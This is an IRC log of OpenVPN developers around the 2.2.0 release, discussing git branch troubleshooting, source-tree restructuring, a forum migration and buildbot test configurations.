<@dazo> gustavoz: is that good enough for you ? ;-) 11:45 < gustavoz> dazo: perfect, thanks 11:46 <@dazo> We will probably let the 2.2.0 live a little bit longer first ... to collect more issues 11:46 <@dazo> but I'll add this to the git tree now 11:46 < gustavoz> dazo: sure, i'll commit in BR with the fix since it's upstream 11:46 <@cron2> did I mention that we have way too many #ifdef in the code? 11:46 < gustavoz> i can bump to 2.2.1 later on when it's out 11:46 <@dazo> cron2: I wonder if I might have said that too few times myself 11:47 <@cron2> we need more automated build test, with a reasonable number of different variants enabled/disabled 11:48 <@dazo> yeah, definitely 11:48 <@cron2> maybe not all 2^n combinations, but sort of like "all in", "all out", "no ssl", "default" or so 11:48 <@dazo> --enable-small is also a pretty obvious candidate 11:48 * cron2 points at mattock 11:49 <@cron2> .oO(are we having a meeting tomorrow?) 11:49 <@dazo> cron2: I think so ... I'd like to discuss the future of openvpn-testing.git and allmerged 11:50 <@cron2> then we already have two agenda items :-) 11:50 <@dazo> yupp! 11:50 <@cron2> and "svn deprecation" comes to mind 11:52 <@dazo> yeah, that's a touchy subject for james ... he knows he needs to do it, but is always too swamped ... but he has promised to switch within end of June, iirc 11:53 <@dazo> gustavoz: both openvpn.git and openvpn-testing.git trees are updated ... master and release/2.2 branches 11:53 <@vpnHelper> RSS Update - testtrac: Fix compile issues when using --enable-small and --disable-ssl/--disable-crypto <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b70d99fb617350b252c8bde2f1f2d81d3f5b7955> 11:53 <@dazo> (the release/2.2 cherry-pick only indicates "queued up for the next release" ... tagging identifies a release) 11:53 <@cron2> that notification thing is pretty impressive :) 11:54 <@dazo> I like it :) 11:54 <@dazo> and it's faster now than earlier too, I think :) 11:54 <@cron2> dazo: oh, btw: how do I "git diff" against a tagged commit? 11:54 <@cron2> (and how do I *see* all the tags available?) 11:54 <@dazo> git tag -l 11:55 <@cron2> ah, cool 11:55 <@dazo> git diff v2.2-RC2..v2.2.0 ... or git log v2.2-RC..v2.2.0 11:55 <@cron2> fatal: ambiguous argument 'v2.2-RC2..v2.2.0': unknown revision or path not in the working tree. 11:55 <@cron2> hah 11:55 <@cron2> need to fetch first :) 11:55 <@dazo> heh :) 11:56 <@dazo> a tag (and also branch names) are just human readable references to the SHA1 commit references 11:56 <@dazo> and the you have HEAD, which pointing at the latest commit in your checked-out branch 11:56 <@dazo> then* 11:56 <@cron2> huh 11:57 <@cron2> the diff 2.2-RC2 -> 2.2.0 is larger than I assumed 11:57 <@dazo> ahh, yeah ... it's a CRLF -> NL fix in here 11:58 <@cron2> yeah, but also manpage changes etc 11:58 <@cron2> I thought 2.2.0 was only re-tagging RC2 11:58 <@dazo> yeah, Robert Fischer came with several man page updates 11:59 <@dazo> it's only absolutely needed bug fixes + non code-changing patches which got into the final release 11:59 <@cron2> ok, but the ChangeLog actually reflects this, so I'm fine :-) 12:00 <@dazo> :) 12:00 <@cron2> so... arriving Munich central station, need to shutdown laptop now... bbl 12:00 <@dazo> c'ya! 12:00 <@cron2> *wave* 12:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:38 -!- dazo is now known as dazo_afk 13:12 -!- gustavoz [~gustavoz@host97.186-109-1.telecom.net.ar] has quit [Quit: Leaving] 13:24 <@raidz> http://www.physorg.com/news/2011-04-embedding-spy-secrets-hard-fragments.html 13:24 <@vpnHelper> Title: Embedding spy secrets in the hard drive fragments (at www.physorg.com) 13:24 <@raidz> cool ^^ 13:25 <+krzie> sounds like stego 13:26 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 13:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:51 <@mattock> 2.2.0 is now released 13:52 <@mattock> https://forums.openvpn.net/topic8023.html 13:52 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.2.0 released : Announcements (at forums.openvpn.net) 14:31 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:20 <@cron2> \o/ 15:29 * krzee is impressed with the work accomplished since #openvpn-devel was started 15:29 <+krzee> o/ 15:30 <@cron2> yeah, that too. But we managed to get out a "community release" *without* forking from openvpn tech, and in reasonable time. 15:30 * cron2 congratulates mattock and dazo on that 15:31 <+krzee> definitely part of what im talking about! 15:37 <@mattock> cron2: re: more tests: agreed, I hear that in Mozilla's buildbot farm each commit triggers ~1000 builds 15:38 <@mattock> I need to make the buildbot configuration less static (it's python code, actually), so that I can add build targets easily 15:38 <@mattock> with whatever build flags we wish 16:11 -!- andj is now known as andj_afk 20:19 <+ecrist> sup d--ds? 20:19 <+ecrist> d00ds* 20:26 * ecrist gets back to work on vbulletin 20:36 <+ecrist> mattock - what sort of problems were you have with the test install I have? 20:36 <+ecrist> http://forums.openvpn.net/vb4_test/forum.php 20:36 <@vpnHelper> Title: OpenVPN Support Forum (at forums.openvpn.net) 22:25 <+krzie> ild really like it to look better than that before going live, thats all i know 22:25 <+krzie> heheeh 23:34 <@raidz> ecrist: you guys are going to move to vbulletn?!? :-D 23:34 <@raidz> i like! --- Day changed Thu Apr 28 2011 00:42 -!- andj_afk is now known as andj 01:01 -!- andj is now known as andj_afk 01:32 <@mattock> ecrist, raidz: the phpbb we have sure is clunky... not fun to use 03:28 -!- dazo_afk is now known as dazo 03:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:33 <@mattock> here are some topics for today: https://community.openvpn.net/openvpn/wiki/Topics-2011-04-28 05:33 <@vpnHelper> Title: Topics-2011-04-28 – OpenVPN Community (at community.openvpn.net) 06:28 <@mattock> "In the git tree you'll find a few branches where we prefer that you base your patches on. Normally, you would modify the bugfix2.1 branch" 06:28 <@mattock> which is the correct branch now? 06:28 <@mattock> master? 06:31 <@mattock> oh, sorry, it's mentioned later 06:32 <@dazo> :) 06:32 <@dazo> thx for catching that one! 06:32 <@dazo> bugfix2.1 is obsolete now as well 06:40 <@mattock> I removed the whole "Contributing to OpenVPN" section, it was redundant 06:41 <@mattock> the information is available elsewhere on that page 06:41 <@mattock> it was not an especially good summary, either :) 06:41 <@mattock> I think the page is now cleaned up adequately: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation 06:41 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 07:13 <+ecrist> mattock: what problems did you have with the test site? 07:13 <+ecrist> raidz: yes, I'm going to move to vB, and use the donations I've received to pay for it, and if there's enough money, VBSEO as well 07:25 <+ecrist> krzie: what sort of changes would you like to see? 07:25 <+ecrist> 'better than that' isn't very constructive 07:25 <+krzie> im not sure, its just 100% ugly 07:26 <+ecrist> well, when you come up with something constructive, I'm all ears. ;) 07:27 <+krzie> some skins or something, honestly i dunno what would be needed to not be so ugly, but its so bad i wouldnt really use it as a user (i guess ild be the same with it overall since i mostly let vpnHelper feed me links 07:27 <+krzie> ) 07:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Read error: Operation timed out] 07:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 07:41 <@vpnHelper> RSS Update - tickets: #125: Build CA is broken in Windows on version 2.2 release <https://community.openvpn.net/openvpn/ticket/125> 07:45 <+krzie> is "make it look more like the current forum" constructive? 07:46 <+ecrist> sure 07:46 <+ecrist> I've not touched styles yet as I'm working out the remaining bugs with ldap authentication 07:47 <+krzie> werd 07:48 <+ecrist> log in and admin seems to work well, now 07:49 <+ecrist> I'd like to integrate password changes and 'forgotten username/password' emails too 07:49 <+ecrist> perhaps, even account creation 07:56 -!- raidz_ [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 07:58 -!- kisom_ [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 07:58 -!- kisom_ is now known as Guest47568 07:59 -!- Netsplit *.net <-> *.split quits: @raidz, @mattock, kisom 08:00 -!- Netsplit over, joins: mattock 08:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:10 <@dazo> mattock: I threw Trac ticket #125 your way ... hope you don't mind that :) 08:13 <@dazo> mattock: I'd like to start looking at splitting things up too ... so if we could discuss the complications you'll have with building/creating installer an package with a root directory consisting of ./easy-rsa, ./wintap-driver, ./win (build scripts, rename to ./win-build?) and ./openvpn (today's source tree without ./easy-rsa, the wintap driver and the ./win directory) ... then I'll start preparing git sub-modules 08:14 <@dazo> (we don't need to discuss that today ... but within some weeks, that'd be great) 08:15 <@dazo> my goal is to make the current openvpn source tree as platform neutral as possible, moving everything windows specific to a different place 08:17 < Dark-Fx> dazo++ 08:18 < Dark-Fx> Some clarification though, are you suggesting the base source tree flat out not contain the win32 stuff? 08:20 <@dazo> Dark-Fx: yeah, as much as practically possible, which is not directly tied to openvpn 08:21 <@dazo> the easy-rsa stuff isn't depending on openvpn ... the wintap driver is basically a standalone tun/tap driver for windows 08:21 < Dark-Fx> It'd be nice if it was it's own branch, but the source build would be able to pull down what it needs to compile on win32 08:21 <@dazo> the build tools for windows is not dependent to build openvpn on other platforms 08:21 <@dazo> that's why I'm proposing git submodule 08:22 <@dazo> you basically pull down the "windows based repo" ... and do git submodule init && git submodule update 08:22 <@dazo> then it will pull down the other repositories on the fly, each repo in each separate directory 08:22 <@dazo> but each of them have their own isolated git history 08:23 <@dazo> so if we have a bug in easy-rsa or windows build tools ... we don't have to tag and release a brand new openvpn release ... we just release a individual windows release with a new build number 08:43 <+ecrist> krzie: can you do me a favor? Log in to the test site, then at the bottom, click Admin and log in there. 08:49 <@dazo> mattock: one thing I suddenly remembered ... could you document the windows tricks you did for git and the cr/lf issues? Could probably go to the GitCrashCourse page, with a remark on the DeveloperDocumentation 08:58 <+krzee> sure 1 sec 08:59 <+krzee> it doesnt force ssl 09:00 <+krzee> ok im logged into admin 09:53 <+ecrist> no problems getting there, krzee? 09:53 <+ecrist> it will eventually force SSL. work in progress. :) 09:54 <+ecrist> I'm still at the coding stage more than the configuration stage 09:56 <+krzee> nope, no probs 09:56 <+ecrist> excellent. 09:57 <+ecrist> I have one code change I'm trying to push upstream to vb to prevent us from having any changed files in the base 09:58 <+krzee> sweet 09:58 <+ecrist> the harder part is going to be managing password changes/etc 09:59 <+ecrist> but I think I can get it so it appears seamless 10:07 <+krzee> cron2, when --server-ipv6 is used, can --server still be used as well? 10:07 <+krzee> aka, can a client get an ip from EACH pool at the same time? 10:13 <@cron2> krzee: as of today, you can NOT do ipv6-only -> --server is a prerequisite for --server-ipv6 10:14 <@cron2> so: yes :) 10:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:38 <+krzee> oh cool 10:38 <+krzee> im not sure that that is clear on your page 10:38 <+krzee> i may be guilty of having missed it, but i know i read your page more than once 10:44 -!- andj_afk is now known as andj 10:51 <@cron2> I think it's somewhere in between the lines, or maybe in the code :-) 11:03 <@cron2> mmmh. IPv6 stuff doesn't work reliably on 7. Patch coming... 11:03 <+krzee> 7 as in win7? 11:03 <@cron2> yes 11:04 <+krzee> gotchya 11:09 * dazo plans to roll out the master branch on a couple of production boxes in a few months, to test out IPv6 stuff 11:11 < Dark-Fx> why is windows eating the routes I'm pushing from the server? 11:11 * Dark-Fx cries 11:13 <@dazo> because it's hungry? :-P 11:15 < Dark-Fx> I think it might have something to do with my setup being really... REALLY... backwards 11:19 <+ecrist> ping mattock 11:21 <+krzee> Dark-Fx, ill help ya in #openvpn if you'd like 11:21 <+krzee> type !configs in #openvpn and follow vpnHelper's instructions if you want that 11:22 <+krzee> as well as !goal 11:22 < Dark-Fx> Same config works just fine in linux. 11:22 < Dark-Fx> I'm fine just adding the routes in manually 11:22 <+krzee> then i want the windows log at verb 4 11:22 <+krzee> either way, this belongs in #openvpn 11:23 < Dark-Fx> I'm not asking for support though :-P 11:23 < Dark-Fx> just complaining 11:23 <+krzee> oh, ok then 11:23 <+krzee> then if youd like help fixing it, join #openvpn 11:23 <+krzee> ;] 11:23 <+krzee> i already have a good idea of what the problem is 11:24 < Dark-Fx> I don't think I want to admit the things I've had to go through just to get one end to talk to the other end... 11:24 <+krzee> but if you dont want help, i wont force it on you ;] 11:24 <@dazo> but, Dark-Fx, I'm sure krzee would love to help you if he can :-P 11:24 * ecrist slaps mattock around with a large trout 11:25 <+krzee> can only offer a horse water ;) 11:25 < Dark-Fx> IPoH 11:25 < Dark-Fx> pretty close to what I'm doing 11:25 <+krzee> IP over Horse? 11:25 <+krzee> carrier pigeons may be better, it even has a RFC 11:26 <+krzee> http://tools.ietf.org/html/rfc1149 11:26 <@vpnHelper> Title: RFC 1149 - Standard for the transmission of IP datagrams on avian carriers (at tools.ietf.org) 11:26 * ecrist sighups ldap, hopes #openvpn* doesn't get mad 11:27 <+krzee> i love that every day i come to work my scripts have emails waiting for me to know everything that has been happening behind the scenes in the DB 11:27 <+krzee> nobody here except the owner knows i have that stuff going =] 11:28 < Dark-Fx> Step 1: Make traffic not look like ssl traffic 11:29 < Dark-Fx> firewall goes, "OH, THAT'S SSL! LET ME MITM THAT FOR YOU" 11:29 * ecrist blows up ldap 11:31 <+krzee> well Dark-Fx, i just cant help myself 11:31 <+krzee> !winroute 11:32 <+krzee> hrmz 11:32 <@dazo> lol 11:32 <+krzee> [09:32] <krzee> !tell Dark-Fx [winroute] 11:32 <+krzee> you should have a msg =] 11:34 <+ecrist> !winroute 11:34 <+ecrist> rawr 11:34 <+krzee> hehe 11:34 <+krzee> !ping 11:34 <@vpnHelper> pong 11:34 <+ecrist> it should have worked here 11:35 <+ecrist> working on forum now, don't care 11:35 <+ecrist> but I'll keep it in mind 11:35 <+krzee> nor do i ;) 11:35 <+ecrist> password reset seems to be working with ldap and vbulletin now, I think. 11:35 <+krzee> we dont especially *need* them linked, its cool but no biggie 11:35 <@dazo> nah, most people here know where to fish for such info anyway 11:35 <+krzee> exactly 11:36 <+krzee> !test 11:36 <+krzee> !learn test as testing 11:36 <@vpnHelper> Joo got it. 11:37 <+krzee> !forget test 11:37 <@vpnHelper> Joo got it. 11:37 -!- Guest47568 is now known as kisom 11:37 <+krzee> ya not linked either direction (just felt like testing that) 11:43 <+ecrist> ok, I win, password reset on vbulletin works with my new code. I can even has the passwords! :O) 11:43 <+ecrist> now to allow profile updates for email and password to take effect properly. 11:44 <+krzee> ecrist is victorious! o/ 11:44 <+ecrist> now I'm running another lap to show off. ;) 11:46 <+ecrist> oh, maybe I spoke too soon. 11:46 <+ecrist> something is wiping out the password now. 11:46 <+ecrist> :\ 11:50 <@dazo> eek 11:51 <+krzee> oh god so many unanswered forum posts 11:52 <@cron2> meeting today is in 68 minutes? 11:52 < Dark-Fx> 1800 utc 11:52 <+krzee> so yes 11:55 <@dazo> cron2: yeah 11:55 -!- jamesyonan [~jamesyona@76.120.71.74] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:57 <@cron2> I'm not promising anything but will try :-) $daughter is already on her way to bed (and should be sleeping $soon), so we might already have finished dinner $then 11:58 <@cron2> huh 11:58 <@cron2> what is git trying to tell me? 11:58 <@cron2> $ git checkout feat_ipv6_payload_2.2 11:58 <@cron2> Switched to branch 'feat_ipv6_payload_2.2' 11:58 <@cron2> Your branch and 'origin/feat_ipv6_payload' have diverged, 11:58 <@cron2> and have 50 and 64 different commit(s) each, respectively. 11:59 < Dark-Fx> git pull? 11:59 <@cron2> well, the "feat_ipv6_payload2.2" is checkout of origin/feat_ipv6_payload, and then rebased to beta2.2 11:59 <@cron2> so of course it is different 11:59 <@cron2> but I wonder whether I need to do anything now? 12:00 <@cron2> dazo: any word of advice? 12:01 <@dazo> cron2: hmm 12:02 <@dazo> cron2: I would probably recommend you to check out the origin/release/2.2 branch 12:02 <@dazo> and then I would use cherry-pick of all the commits from feat_ipv6_payload2.2 which are relevant 12:02 <@dazo> that way, you will only get the needed commits 12:03 <@cron2> I can't follow you 12:03 <@dazo> okay ... this is a bit tricky right now for you 12:03 <@cron2> origin/feat_ipv6_payload is the old branch that feat_ipv6_payload2.2 was originally based on, before rebasing to beta2.2 12:03 <@dazo> as you don't have a clean base 12:04 <@dazo> okay ... so feat_ipv6_payload2.2 is the old beta2.2, with only your IPv6 patches on top? 12:04 <@cron2> yes 12:04 <@dazo> then you can try: git rebase origin/release/2.2 12:05 <@dazo> that way, your branch will temporary be reversed to the last "matching" commit between release/2.2 and your tree ... the patches you're missing from release/2.2 will be added 12:05 <@dazo> and then your additional patches are applied on top of that 12:05 <@cron2> there's only a single commit that I did after rebasing 12:06 <@cron2> git seems to tell me that "rebasing created 50 different commits" - which might very well be true (lots of conflicts), but I still don't understand why I should be interested 12:06 <@dazo> okay, then it will only temporary go back one commit before applying the missing commits from release/2.2 12:06 <@dazo> ouch 12:06 <@dazo> that sounds wrong 12:06 <@cron2> I'm not asking where I should rebase to "this week" :-) 12:07 <@dazo> :) 12:07 < Dark-Fx> origin/fucked/who.knows 12:07 <@dazo> heh :) 12:08 <@dazo> cron2: the thing is that you need to apply your commits on top of a clean base ... which is for the 2.2 code base, release/2.2 (or former beta2.2) ... git rebase will rewind your tree back to the "divert point" where your patches are additional 12:08 <@cron2> git is way confused 12:09 <@dazo> so if you have used git merge ... then it's really messed up 12:09 <@cron2> "git rebase" wrote about 30 Applying: lines now 12:09 <@dazo> that might make sense 12:09 * dazo checks the git history 12:09 <@cron2> so how can I see where it's based on now and what it thinks? 12:11 <@dazo> you seem to have 32 commits on top of release/2.2 12:12 <@cron2> sounds reasonable 12:12 <@cron2> git is still unhappy 12:12 <@cron2> Switched to branch 'feat_ipv6_payload_2.2' 12:12 <@cron2> Your branch and 'origin/feat_ipv6_payload' have diverged, 12:12 <@cron2> and have 52 and 64 different commit(s) each, respectively. 12:12 <@cron2> (if I checkout to another branch and back there) 12:12 <@dazo> yeah, thats what we need to figure out 12:12 <@cron2> "git diff" vs. 2.2.0 looks very reasonable, though 12:12 <@dazo> you can basically look at the commitish for the last commit in release/2.2 (git show origin/release/2.2) 12:13 <@cron2> that's the tmp_dir fix 12:13 <@dazo> and that git diff .... or even getter git log v2.2.0..HEAD ... that will give you each commit different 12:13 <@dazo> ahh 12:13 <@dazo> yes, this do make sense 12:13 <@cron2> git log / git diff are reasonable 12:14 <@dazo> you are in 'feat_ipv6_payload_2.2' .... which is tracking 'origin/feat_ipv6_payload' 12:14 <@cron2> well, it was created with "checkout -b feat_ipv6_payload_2.2 origin/feat_ipv6_payload" 12:14 <@dazo> this might be the issue ... they *are* diverged 12:14 <@cron2> indeed, by rebasing, which was the purpose of creating the branch in the first place :) 12:15 <@cron2> so how do I un-track origin/feat_ipv6_payload? 12:15 <@dazo> hmm 12:15 <@dazo> I'm confused by the _2.2 suffix in your branch name :) 12:15 <@cron2> that is "rebased to v2.2.0", and the "_2.3" is "rebased to master" 12:15 <@dazo> okay 12:16 <@cron2> I want to be able to do diffs vs. 2.2.x without picking up commits to master 12:16 <@dazo> yupp 12:16 <@cron2> new commits will go to _2.2, diff posted to ipv6 website, then cherrrypicked/merged/yadda to _2.3 12:16 <@dazo> yeah 12:16 <@cron2> or vice versa, will see 12:17 <@dazo> vice versa is probably easier to maintain :) 12:17 <@cron2> it really depends on other code changes "nearby" that create conflicts, yes 12:17 <@dazo> if you do: git log origin/feat_ipv6_payload..feat_ipv6_payload_2.2 ... can you pastebin that? 12:18 <@cron2> that is *long* 12:18 <@dazo> much longer, with duplicated commits here and there? 12:19 <@cron2> much longer, 52 commits 12:19 <@cron2> while v2.2.0..HEAD only has 33 12:19 <@dazo> then I guess, if you swap those to branches, you get 64 commits 12:19 <@dazo> HEAD is 'feat_ipv6_payload_2.2'? 12:19 <@cron2> indeed 12:19 <@cron2> yes 12:19 <@dazo> okay 12:20 * dazo thinks 12:20 <@cron2> I think I just want to de-couple feat_ipv6_payload_2.2 from origin/feat_ipv6_payload... 12:20 <@dazo> yeah ... that's really clever 12:20 <@cron2> but how? 12:22 <@dazo> cron2: can you pastebin: git log --pretty=oneline origin/feat_ipv6_payload..feat_ipv6_payload_2.2 ... and the reverse one ... I just need to see if I understand it correctly 12:23 <@cron2> lemme see 12:25 <@cron2> how can I upload a file to a pastebin? cut and paste isn't working out right, too much 12:25 <@cron2> oh well 12:25 <@cron2> moment 12:25 <+krzee> you use freebsd./ 12:25 <+krzee> ? 12:25 <@cron2> leegnux 12:25 <@cron2> i'll just throw it to my webserver 12:25 <@dazo> :) 12:25 <+krzee> theres an app named pastebinit 12:26 <+krzee> in freebsd it would be ports/misc/pastebinit 12:26 <@cron2> dazo: first is http://public.greenie.net/gert/misc/dazo1.txt, reverse is dazo2.txt 12:27 <@cron2> mom 12:27 <@cron2> ok, now it's there 12:28 <@cron2> the commit messages are the same, but the md5 is different 12:29 <@cron2> ah, only for the IPv6 stuff 12:29 <@dazo> yeah, that's because they have diverged for some reason 12:29 <@cron2> well, conflicts when rebasing (it's all eurephia's fault!) 12:30 <@cron2> there's an #ifdef EUREPHIA block at the top of options.c which conflicts with the IPv6 date tag :) 12:30 <@dazo> heh 12:30 <@cron2> #ifdef ENABLE_EUREPHIA " [eurephia]" 12:30 <@cron2> #endif " [IPv6 payload 20110424-2 (2.2RC2)]" 12:30 <@cron2> that one 12:30 <@dazo> I know, I've fixed that n^y times already :) 12:30 <@cron2> that caused about 8 merge conflicts, every time the IPv6 line changed 12:30 <@cron2> hehe :) 12:30 <@cron2> no more needed now! 12:30 <@dazo> can you also pastebin: git branch -av ? 12:31 <@dazo> just to see where your branches are ... you can filter out non-interesting branches 12:31 <@dazo> (the different heads, that is) 12:31 <@cron2> same URL /dazo3.txt 12:33 <@dazo> yes! 12:33 <@cron2> ... o-kay...? 12:34 <@dazo> okay, when I rebased your branch in the openvpn-testing tree ... to avoid to sort out old crap, and redo your work which would end up on the same place in best case - and worse case, make it even worse 12:35 <@dazo> I scrapped your old feat_ipv6_payload branch ... and took you ipv6_payload_2.3 branch and pushed it as feat_ipv6_payload 12:35 <@cron2> aaaaah 12:35 <@dazo> Hence: 12:35 <@dazo> remotes/origin/feat_ipv6_payload 15a436a rebased to 2.2RC2 (beta 2.2 branch) removed mutex locking stuff (no more threading in 2.2) fixed rebase/merge artifacts in mroute.c add current ChangeLog.IPv6 and TODO.IPv6 to commit tag as ipv6-20110424-2 12:35 <@cron2> so it's all confused now 12:35 <@dazo> feat_ipv6_payload_2.3 15a436a rebased to 2.2RC2 (beta 2.2 branch) removed mutex locking stuff (no more threading in 2.2) fixed rebase/merge artifacts in mroute.c add current ChangeLog.IPv6 and TODO.IPv6 to commit tag as ipv6-20110424-2 12:35 <@cron2> I was wondering, yeah 12:36 <@cron2> so basically these two are identical now, but git doesn't understand that 12:37 <@dazo> it does understand that ... but your feat_ipv6_payload_2.2 branch looks at origin/feat_ip6_payload (=> feat_ipv6_payload_2.3) ... and these branches have indeed diverted 12:37 <@mattock> dazo: re #125, yes, I'll take care of that 12:37 <@dazo> I just fear that there are some cruft from the pre beta2.2/ release2.2 days in your feat_ipv6_payload_2.2 branch 12:38 <@dazo> mattock: thx! 12:38 <@cron2> diff vs. v2.2.0 looks sane, only stuff that I can remember having put there :) 12:38 <@dazo> diff from what? feat_ipv6_payload_2.? 12:39 <@cron2> v2.2.0 -> feat_ipv6_payload_2.2 12:39 <@dazo> okay 12:39 <@cron2> to 2.3 has lots of new things (some signal handling stuff, new plugin api) 12:39 <@dazo> yeah 12:40 <@dazo> *thinking* 12:40 <@mattock> dazo: re: git+cr/lf, yep, on my todo 12:40 <@dazo> goodie! 12:42 <@dazo> cron2: can you pastebin: git log --pretty=oneline feat_ipv6_payload_2.2 | head -n 50 ... and do the same for _2.3 as well? 12:42 <@dazo> I'm just trying to see how different these branches are ... and it should be a common ancestor among those 50 commits, at least against v2.2.0 12:44 <@dazo> ouch ... I need to get on my way home ... I'll be back in about 15 min 12:44 <@cron2> http://public.greenie.net/gert/misc/dazo4.txt and dazo5.txt 12:46 <@mattock> ecrist: what's up? 12:50 -!- dazo is now known as dazo_afk 12:51 <@mattock> ecrist: vbulletin still seems to be suffering from the "does not understand passwords with _ in them" issue 12:59 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 13:01 <@cron2> meeting! 13:02 <@mattock> meeting time indeed 13:02 -!- am3 [~irc@207.81.96.160] has joined #openvpn-devel 13:03 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-04-28 13:03 <@vpnHelper> Title: Topics-2011-04-28 – OpenVPN Community (at community.openvpn.net) 13:04 <@mattock> cron2: what if we begin with the automated test failures while waiting for dazo? 13:04 <@cron2> I can't access the URLs 13:04 <@mattock> lemme copy-and-paste them 13:04 <@cron2> no VPN setup right now, you're pointing to inside addresses 13:05 -!- am3 [~irc@207.81.96.160] has left #openvpn-devel [] 13:05 -!- dazo_afk is now known as dazo 13:05 <@cron2> \o/ 13:06 <@mattock> http://build.openvpn.net/success.html 13:06 <@vpnHelper> Title: Log File contents (at build.openvpn.net) 13:07 <@mattock> http://build.openvpn.net/failure.html 13:07 <@vpnHelper> Title: Log File contents (at build.openvpn.net) 13:07 <@mattock> anyways, I noticed the tests fail rather regularly 13:07 <@mattock> I was wondering which parameters I could adjust to reduce false positives (=failures) 13:08 <@cron2> are these builds and tests run in parallel? 13:08 <@cron2> if two clients connect to the server at the same time, all hell breaks loose 13:09 <@mattock> oh, that explains it then 13:10 <@cron2> it could be made to work in parallel by a) giving every buildslave its *own* OpenVPN certificate, and b) its own fixed IPv4+IPv6 addresse on the server, and c) its own t_client.rc that checks for *these* addresses in "ifconfig" output 13:11 <+ecrist> mattock: I'll look into that 13:11 <@mattock> hmm, I think I need to do that 13:11 * dazo votes for c) ... seems more reliable 13:11 <@cron2> dazo: well, you need to do a)+b)+c) :-) 13:11 <@cron2> it's not "or" 13:11 <@dazo> ahh 13:12 <@mattock> doesn't openvpn support static keys, too? 13:12 <@cron2> it's either "serialize the tests, so that only one client tests at a given time", or "make all clients completely independent, with a static config and static addresses" 13:12 <@cron2> mattock: it does, but only in p2p mode 13:12 <@dazo> I see a) + c) ... but why b)? couldn't it just parse the openvpn log and see which IP addr being assigned there? 13:13 <@cron2> dazo: in theory, it could, but as of today, it doesn't 13:13 <@dazo> mm 13:13 <@cron2> it could also use trickery with the script/plugin interface 13:13 <@mattock> cron2: I'll make the buildslave openvpn configurations independent, it's not a big deal 13:14 <@cron2> dazo: the current design of the script is "I know in advance that I want to see in the output, and I want to verify that it's showing up *exactly* *this* way" 13:14 * dazo wonders if mattock will still say "it's not a big deal" when we add another 100 buildslaves :-P 13:14 <@dazo> cron2: gotcha 13:14 <@cron2> but indeed, one could do a) only, and adapt the script 13:15 <@mattock> dazo: do not underestimate the power of the puppet side! :) 13:15 <@cron2> hail the puppetmaster 13:15 <@dazo> heh :) 13:15 <@mattock> actually, we don't need that many buildslaves, only build configurations 13:15 <@dazo> true :) 13:16 * dazo still dreams about a windows buildslave ... but that's a completely different topic 13:16 <@mattock> mozilla got 1000 builds triggered on every commit, so we still got a long way to go 13:16 <@mattock> dazo: that's me? 13:16 <@cron2> heh :) 13:16 <@dazo> heh :) 13:17 <@dazo> mattock: you or not ... dunno :) 13:17 <@mattock> ok, back to topic? 13:17 <@mattock> ;) 13:17 <@cron2> mattock: do you have a log file showing test 2 fail? 13:17 <@mattock> cron2: just a sec 13:17 <@cron2> that's basically the same test as "test 1", just "tcp not udp" - so if test 1 succeeds, test 2 should do as well (unless it's a race condition) 13:18 <@dazo> it could be a race condition between two build slaves ... just that one was quicker and managed to complete test 1 and start test2 when the other one started testing 13:18 <@mattock> http://build.openvpn.net/test2_failure.html 13:18 <@vpnHelper> Title: Log File contents (at build.openvpn.net) 13:19 <@cron2> dazo: yeah 13:19 <@cron2> mmmh 13:19 <@cron2> FAIL: no differences between ifconfig/route before OpenVPN start and now. 13:20 <@cron2> one would need to look at 2:openvpn.log to see what really happened under the hood 13:20 <@mattock> hmm, we need to fix this: "Please report to openvpn-users@lists.sourceforge.net" 13:20 <@dazo> what's wrong with that one? 13:20 <@mattock> openvpn-devel? 13:21 <@dazo> ahh 13:21 <@mattock> I'll make a patch 13:22 <@mattock> cron2: I'll try to locate 2:openvpn.log for you 13:23 <@cron2> it's in the build dir in a subdirectory time-stamped 13:23 <@mattock> meanwhile, perhaps you could figure out which configure flags we want to test? 13:23 <@dazo> ./configure 13:23 <@dazo> ./configure --enable-small 13:23 <@dazo> ./configure --disable-lzo 13:23 <@mattock> I need to do major buildbot configuration fixes anyways 13:23 <@dazo> ./configure --disable-crypto --disable-ssl 13:23 <@dazo> ./configure --disable-crypto --disable-ssl --disable-lzo 13:23 <@cron2> which branch is this? "master" or "2.2"? 13:23 <@dazo> ./configure --disable-crypto --disable-ssl --enable-small 13:24 <@dazo> probably 2.2 13:26 <@cron2> --disable-multi 13:26 <@mattock> we can run those on multiple branches with very little extra effort 13:26 <@dazo> ahh good! 13:26 <@cron2> for linux: --enable-iproute2 and "classic" (ifconfig) 13:26 <@mattock> soon every commit will trigger 150 builds :) 13:27 <@cron2> wah 13:27 <@cron2> master has "README.ipv6", "README.IPv6", "TODO.ipv6", "TODO.IPv6" 13:28 <@dazo> --disable-server as well 13:28 <@cron2> half of them are mine, half are jjo's 13:28 <@dazo> maybe you two should consider to merge them? ;-) 13:28 <@cron2> yeah, definitely 13:29 <@cron2> mattock: --enable-ipv6 (which turns on jjo's patch) in "master" branch 13:29 <@dazo> hmmm ... I wonder if we should flip that one 13:29 <@dazo> (enabled by default) 13:29 <@mattock> btw. any idea why build would somewhat consistently halt at this point: 13:29 <@mattock> 